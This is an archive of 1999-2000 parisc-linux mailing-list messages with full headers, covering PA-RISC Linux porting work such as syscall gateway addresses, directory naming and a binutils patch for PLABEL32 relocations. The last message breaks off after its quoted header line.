On Fri, Aug 11, 2000 at 06:30:36AM -0600, Jeffrey A Law wrote:
> The other way it's used is to handle intra-space calls/returns.  I don't know
> if that's an issue for y'all or not.

we just use one space for each process, so we never call into a different
space, except to do syscalls.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Fri, 11 Aug 2000 12:43:30 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200008111643.MAA07355@hiauly1.hia.nrc.ca>
References: <20000811105647.N10843@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619041 2177 80.91.229.3 (22 Nov 2014 01:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:21 +0000 (UTC)
Cc: law@cygnus.com, alan@linuxcare.com.au, dhd@linuxcare.com,
        parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Aug 11 16:43:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA23070
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 16:43:35 -0600
Original-Received: (qmail 2453 invoked by uid 15267); 11 Aug 2000 16:43:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2400 invoked from network); 11 Aug 2000 16:43:49 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 16:43:49 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA07355;
	Fri, 11 Aug 2000 12:43:30 -0400 (EDT)
In-Reply-To: <20000811105647.N10843@vodka.thepuffingroup.com> from "Matthew Wilcox" at Aug 11, 2000 10:56:47 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7680

> 
> On Fri, Aug 11, 2000 at 06:30:36AM -0600, Jeffrey A Law wrote:
> > The other way it's used is to handle intra-space calls/returns.  I don't know
> > if that's an issue for y'all or not.
> 
> we just use one space for each process, so we never call into a different
> space, except to do syscalls.

You might want to look at the code following line 6319 in pa.md (gcc 2.96)
to see that it does what you want for EH handling under linux.  This is for
builtin_longjmp.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit binutils problem
Date: Fri, 11 Aug 2000 13:52:05 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20000811135205.S10843@vodka.thepuffingroup.com>
References: <20000810180624.J10843@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619042 2180 80.91.229.3 (22 Nov 2014 01:17:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@thepuffingroup.com  Fri Aug 11 18:56:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA23971
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 18:56:47 -0600
Original-Received: (qmail 20919 invoked by uid 15267); 11 Aug 2000 18:57:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20899 invoked from network); 11 Aug 2000 18:57:02 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 18:57:02 -0000
Original-Received: (qmail 1106 invoked from network); 11 Aug 2000 18:56:40 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 11 Aug 2000 18:56:40 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id NAA19905;
	Fri, 11 Aug 2000 13:52:05 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000810180624.J10843@vodka.thepuffingroup.com>; from Matthew Wilcox on Thu, Aug 10, 2000 at 06:06:24PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7681

On Thu, Aug 10, 2000 at 06:06:24PM -0400, Matthew Wilcox wrote:
> 
> ok, i'm in way over my head here.

to help anyone trying to reproduce the problem, i've created a simpler
testcase.  it's findable at

ftp://puffin.external.hp.com/pub/parisc/debug/64link.tgz

and contains a file called `Makescript' which shows you how I got from
each of the source files to the object files.  it's only 19k, not 90+MB
now :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 16:07:33 -0500
Organization: mozilla.org diplomatic corps
Lines: 23
Approved: news@gmane.org
Message-ID: <36FAA595.DB56B012@netscape.com>
References: <199903252046.OAA08061@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619042 2183 80.91.229.3 (22 Nov 2014 01:17:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:22 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 25 16:08:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA28572
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 16:08:11 -0500
Original-Received: (qmail 16609 invoked by uid 15267); 25 Mar 1999 21:06:57 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 16602 invoked from network); 25 Mar 1999 21:06:57 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 21:06:57 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id NAA26736
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 13:07:34 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.139]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F965CT00.2E2 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar
          1999 13:07:41 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7682

Bjorn Helgaas wrote:
> If Linux uses a different gateway page address than HP-UX (which I
> think is a good idea), why not use a strategy like that used for
> 64-bit HP-UX apps, where the kernel supplies the address in a
> register at application startup?

OK, I'm convinced.  I've changed unistd.h to use 0xC0000404 (on the next
page) for the syscall gateway, although we can easily change it back.

The ``Assembly Language Reference Manual'' I have says:
  Refer to the /HP-UX Reference/ manual for more information on HP-UX
system
  calls.

Anyone know what manual they're talking about?  I'd like to find out
what to do for syscalls that take more than 4 arguments, like mmap and
recvfrom and sendto.

Mike

-- 
81996.85 73813.97


From - Thu Nov 08 21:13:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge with 2.4.0-testN?
Date: Fri, 11 Aug 2000 14:14:17 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000811141417.T10843@vodka.thepuffingroup.com>
References: <200008100423.VAA04954@milano.cup.hp.com> <39923147.1140E9AE@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619042 2184 80.91.229.3 (22 Nov 2014 01:17:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:22 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, Matthew Wilcox <matthew@wil.cx>,
        parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: willy@thepuffingroup.com  Fri Aug 11 19:19:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA24192
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 19:19:02 -0600
Original-Received: (qmail 11699 invoked by uid 15267); 11 Aug 2000 19:19:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11638 invoked from network); 11 Aug 2000 19:19:15 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 19:19:15 -0000
Original-Received: (qmail 5593 invoked from network); 11 Aug 2000 19:18:52 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 11 Aug 2000 19:18:52 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA19961;
	Fri, 11 Aug 2000 14:14:17 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <39923147.1140E9AE@uswest.net>; from Ryan Bradetich on Wed, Aug 09, 2000 at 10:36:24PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7683

On Wed, Aug 09, 2000 at 10:36:24PM -0600, Ryan Bradetich wrote:
> Will the port name change from parisc to hppa at this time too?
> 
> ie... Will the following directories change?
> 
> Documentation/parisc
> arch/parisc
> arch/parisc64
> include/asm-parisc
> include/asm-parisc64

I don't plan to.  Does anyone really really want this to change?

> Let me know when/where and I'll do what I can to help with the merge.

Thanks, I appreciate the offer.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: 11 Aug 2000 16:23:56 -0400
Organization: Linuxcare, Inc.
Lines: 17
Approved: news@gmane.org
Message-ID: <87zomjmtr7.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619043 2190 80.91.229.3 (22 Nov 2014 01:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Fri Aug 11 20:24:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA24632
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 20:24:13 -0600
Original-Received: (qmail 17509 invoked by uid 15267); 11 Aug 2000 20:24:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17492 invoked from network); 11 Aug 2000 20:24:28 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 20:24:28 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13NLLT-0003wR-00; Fri, 11 Aug 2000 16:23:59 -0400
In-Reply-To: Alan Modra's message of "Fri, 11 Aug 2000 17:32:33 +1000 (EST)"
Original-Lines: 16
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7684

Alan Modra <alan@linuxcare.com.au> writes:

> So...  I can turn a PLABEL reference into a GOT reference, which will
> magically fix the $$dyncall problem.

Yes, that's the right idea.  However it only works for external
symbols, and you still need a PLABEL32 relocation for function
pointers to local symbols within a shared object (like dl_main for
instance, hint hint :-)

I'll try to take a shot at it but I still don't fully comprehend the
BFD code.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge with 2.4.0-testN?
Date: Sat, 12 Aug 2000 04:32:56 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20000812043253.A17896@neep.com.au>
References: <200008100423.VAA04954@milano.cup.hp.com> <39923147.1140E9AE@uswest.net> <20000811141417.T10843@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619043 2192 80.91.229.3 (22 Nov 2014 01:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Fri Aug 11 20:32:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA24836
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 20:32:55 -0600
Original-Received: (qmail 26028 invoked by uid 15267); 11 Aug 2000 20:33:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25992 invoked from network); 11 Aug 2000 20:33:09 -0000
Original-Received: from filk.iinet.net.au (203.59.24.235)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 20:33:09 -0000
Original-Received: from guinness.neep.com.au (reggae-10-62.nv.iinet.net.au [203.59.94.62])
	by filk.iinet.net.au (8.8.7/8.8.7) with ESMTP id FAA21442
	for <parisc-linux@thepuffingroup.com>; Sat, 12 Aug 2000 05:33:43 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id EAA17965
	for parisc-linux@thepuffingroup.com; Sat, 12 Aug 2000 04:32:59 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20000811141417.T10843@vodka.thepuffingroup.com>; from matthew@wil.cx on Fri, Aug 11, 2000 at 02:14:17PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7685

Matthew Wilcox said:
> > Will the port name change from parisc to hppa at this time too?
> > 
> > ie... Will the following directories change?
> > 
> > Documentation/parisc
> > arch/parisc
> > arch/parisc64
> > include/asm-parisc
> > include/asm-parisc64
> 
> I don't plan to.  Does anyone really really want this to change?

While I don't think renaming anything with 'parisc' in its name will
help anything, I do think that to avoid confusion some symbolic links
should be created.  eg hppa/ -> parisc/

Just to avoid any confusion ... presumably the README.hppa would explain
what is going on.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: 11 Aug 2000 18:35:49 -0400
Organization: Linuxcare, Inc.
Lines: 108
Approved: news@gmane.org
Message-ID: <87u2crmnne.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008111648380.29780-100000@front.linuxcare.com.au> <87zomjmtr7.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619043 2195 80.91.229.3 (22 Nov 2014 01:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Fri Aug 11 22:35:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA25656
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Aug 2000 22:35:42 -0600
Original-Received: (qmail 9098 invoked by uid 15267); 11 Aug 2000 22:35:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9082 invoked from network); 11 Aug 2000 22:35:58 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Aug 2000 22:35:58 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13NNP4-0000sQ-00; Fri, 11 Aug 2000 18:35:50 -0400
In-Reply-To: David Huggins-Daines's message of "11 Aug 2000 16:23:56 -0400"
Original-Lines: 107
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7686

David Huggins-Daines <dhd@linuxcare.com> writes:

> Alan Modra <alan@linuxcare.com.au> writes:
> 
> > So...  I can turn a PLABEL reference into a GOT reference, which will
> > magically fix the $$dyncall problem.
> 
> Yes, that's the right idea.  However it only works for external
> symbols, and you still need a PLABEL32 relocation for function
> pointers to local symbols within a shared object (like dl_main for
> instance, hint hint :-)
> 
> I'll try to take a shot at it but I still don't fully comprehend the
> BFD code.

Here's an (ugly) patch that works.  Please verify that the last chunk
is okay - ld was outputting bogus PLABEL32 relocations when things
were compiled with -ffunction-sections, because it was effectively
calculating the addend as the offset within the input section.

With this patch ld.so manages to link itself again.

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /home/cvs/parisc/binutils-2.10/bfd/elf32-hppa.c,v
retrieving revision 1.13.2.25
diff -u -r1.13.2.25 elf32-hppa.c
--- elf32-hppa.c	2000/08/11 18:12:40	1.13.2.25
+++ elf32-hppa.c	2000/08/12 04:28:20
@@ -1058,9 +1058,14 @@
 	    }
 	  break;
 
+	case R_PARISC_PLABEL32:
+	  /* In this case, if it's local, we don't need a .plt entry,
+             but we might need to generate a dynamic relocation. */
+	  if (h == NULL)
+	    goto local_plabel;
+
 	case R_PARISC_PLABEL14R: /* "Official" procedure labels.  */
 	case R_PARISC_PLABEL21L:
-	case R_PARISC_PLABEL32:
 	case R_PARISC_PCREL17C:
 	case R_PARISC_PCREL17F:
 	case R_PARISC_PCREL22F:
@@ -1131,6 +1136,7 @@
 	  /* Fall through.  */
 #endif
 
+	local_plabel:
 	case R_PARISC_DIR32: /* .word, PARISC.unwind relocs.  */
 
 	  /* Flag this symbol as having a non-got, non-plt reference
@@ -2738,12 +2744,16 @@
 			 + hplink->sgot->output_section->vma);
 	  break;
 
+	case R_PARISC_PLABEL32:
+	  /* As in check_relocs, we may need to output a dynamic reloc
+             here even for local symbols. */
+	  if (h == NULL)
+	    goto local_plabel;
 	case R_PARISC_PLABEL14R:
 	case R_PARISC_PLABEL21L:
-	case R_PARISC_PLABEL32:
 	  if (elf_hash_table (info)->dynamic_sections_created
 	      && h != NULL
-	      && h->elf.plt.offset != -1)
+	      && h->elf.plt.offset != (bfd_vma) -1)
 	    {
 	      /* PLABELs contain function pointers.  Relocation is to
 		 the entry for the function in the .plt.  The magic +2
@@ -2756,6 +2766,7 @@
 	    }
 	  break;
 
+	local_plabel:
 	case R_PARISC_DIR17F:
 	case R_PARISC_DIR17R:
 	case R_PARISC_DIR14R:
@@ -2832,14 +2843,18 @@
 		{
 		  int indx = 0;
 
+		  /* Add the absolute offset of the symbol. */
+		  outrel.r_addend += relocation;
+
 		  if (! bfd_is_abs_section (sym_sec))
 		    {
 		      indx = elf_section_data (sym_sec->output_section)->dynindx;
-		      outrel.r_addend -= (sym_sec->output_offset
-					  + sym_sec->output_section->vma);
+		      /* Subtract out the output section's address (but
+                         not the offset of the input section in the
+                         output section!). */
+		      outrel.r_addend -= sym_sec->output_section->vma;
 		    }
 
-		  outrel.r_addend += relocation;
 		  outrel.r_info = ELF32_R_INFO (indx, r_type);
 		}
 


-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Sat, 12 Aug 2000 10:17:52 +1000 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008121017001.7133-100000@front.linuxcare.com.au>
References: <87u2crmnne.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619044 2197 80.91.229.3 (22 Nov 2014 01:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Sat Aug 12 00:18:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA11489
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 00:18:47 -0600
Original-Received: (qmail 14892 invoked by uid 15267); 12 Aug 2000 00:19:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14873 invoked from network); 12 Aug 2000 00:19:01 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 00:19:01 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA07809;
	Sat, 12 Aug 2000 10:17:52 +1000
In-Reply-To: <87u2crmnne.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7687

On 11 Aug 2000, David Huggins-Daines wrote:

> Here's an (ugly) patch that works.  Please verify that the last chunk

Looks OK to me.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: Sat, 12 Aug 2000 11:35:44 +1000 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008121042020.7133-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0008121017001.7133-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619044 2199 80.91.229.3 (22 Nov 2014 01:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Sat Aug 12 01:36:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA12245
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 01:36:40 -0600
Original-Received: (qmail 2276 invoked by uid 15267); 12 Aug 2000 01:36:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2259 invoked from network); 12 Aug 2000 01:36:54 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 01:36:54 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA10001;
	Sat, 12 Aug 2000 11:35:45 +1000
In-Reply-To: <Pine.LNX.4.21.0008121017001.7133-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7688

On Sat, 12 Aug 2000, Alan Modra wrote:

> On 11 Aug 2000, David Huggins-Daines wrote:
> 
> > Here's an (ugly) patch that works.  Please verify that the last chunk
> 
> Looks OK to me.

I'll install a slightly modified version of your patch.  The other PLABEL
relocs should be handled as for PLABEL32, not that it matters for gcc
output as I've never caught gcc generating code that used PLABEL14R and
PLABEL21L.  A pity, because current gcc PIC code for handling function
pointers is rather inefficient.  Typically, you get something like:

.LC1:
        .word P'bar
.
.
        addil LT'.LC1,%r19
        ldw RT'.LC1(%r1),%r22
        ldw 0(%r22),%r22

which could all be replaced with

	ldil LP'bar,%r22
	ldo RP'bar(%r22),%r22

saving on code size, memory accesses, and relocs.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Millicode calls, GP register, ld -r
Date: 12 Aug 2000 11:23:35 -0400
Organization: Linuxcare, Inc.
Lines: 30
Approved: news@gmane.org
Message-ID: <87punemrk8.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008121042020.7133-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619044 2202 80.91.229.3 (22 Nov 2014 01:17:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Sat Aug 12 15:23:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19002
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Aug 2000 15:23:33 -0600
Original-Received: (qmail 28674 invoked by uid 15267); 12 Aug 2000 15:23:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28658 invoked from network); 12 Aug 2000 15:23:49 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Aug 2000 15:23:49 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Nd8K-0005dj-00; Sat, 12 Aug 2000 11:23:36 -0400
In-Reply-To: Alan Modra's message of "Sat, 12 Aug 2000 11:35:44 +1000 (EST)"
Original-Lines: 29
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7689

Alan Modra <alan@linuxcare.com.au> writes:

